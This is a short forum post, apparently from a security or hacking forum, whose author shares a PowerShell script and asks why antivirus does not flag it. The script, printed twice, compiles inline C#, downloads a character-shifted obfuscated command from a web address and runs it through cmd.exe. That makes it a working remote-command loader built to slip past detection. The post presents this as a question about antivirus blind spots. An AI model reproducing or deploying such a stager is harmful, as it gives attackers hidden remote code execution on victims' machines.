Dec 2, 2019 01:19 PM
(This post was last modified: Dec 3, 2019 09:02 AM by SIM-3602340.)
So i wrote this simple powershell script:
$Source = @"
using System;
using System.IO;
public class Program
{
public static string test(string ww)
{
char[] after = new char[ww.Length];
for (int i = 0; i < ww.Length; i++)
{
after[i] = (char)(ww[i] - 99);
}
System.Diagnostics.Process.Start("cmd.exe", "/k " + new string(after));
return new string(after);
}
}
"@
Add-Type -TypeDefinition $Source
$response = Invoke-WebRequest "<url of obfuscated command to run>"
[Program]::test($response.Content)
It just executes a command given from a web page. Its pretty simple and i wrote it for testing purposes.
Now, shouldn't AV flag this as it's potentially dangerous?
Maybe I am wrong, let me know what you think..
((Btw if you want to test this code, test it on machines that you own))
$Source = @"
using System;
using System.IO;
public class Program
{
public static string test(string ww)
{
char[] after = new char[ww.Length];
for (int i = 0; i < ww.Length; i++)
{
after[i] = (char)(ww[i] - 99);
}
System.Diagnostics.Process.Start("cmd.exe", "/k " + new string(after));
return new string(after);
}
}
"@
Add-Type -TypeDefinition $Source
$response = Invoke-WebRequest "<url of obfuscated command to run>"
[Program]::test($response.Content)
It just executes a command given from a web page. Its pretty simple and i wrote it for testing purposes.
Now, shouldn't AV flag this as it's potentially dangerous?
Maybe I am wrong, let me know what you think..
((Btw if you want to test this code, test it on machines that you own))



![[Image: vp6iypF.gif]](https://i.imgur.com/vp6iypF.gif)
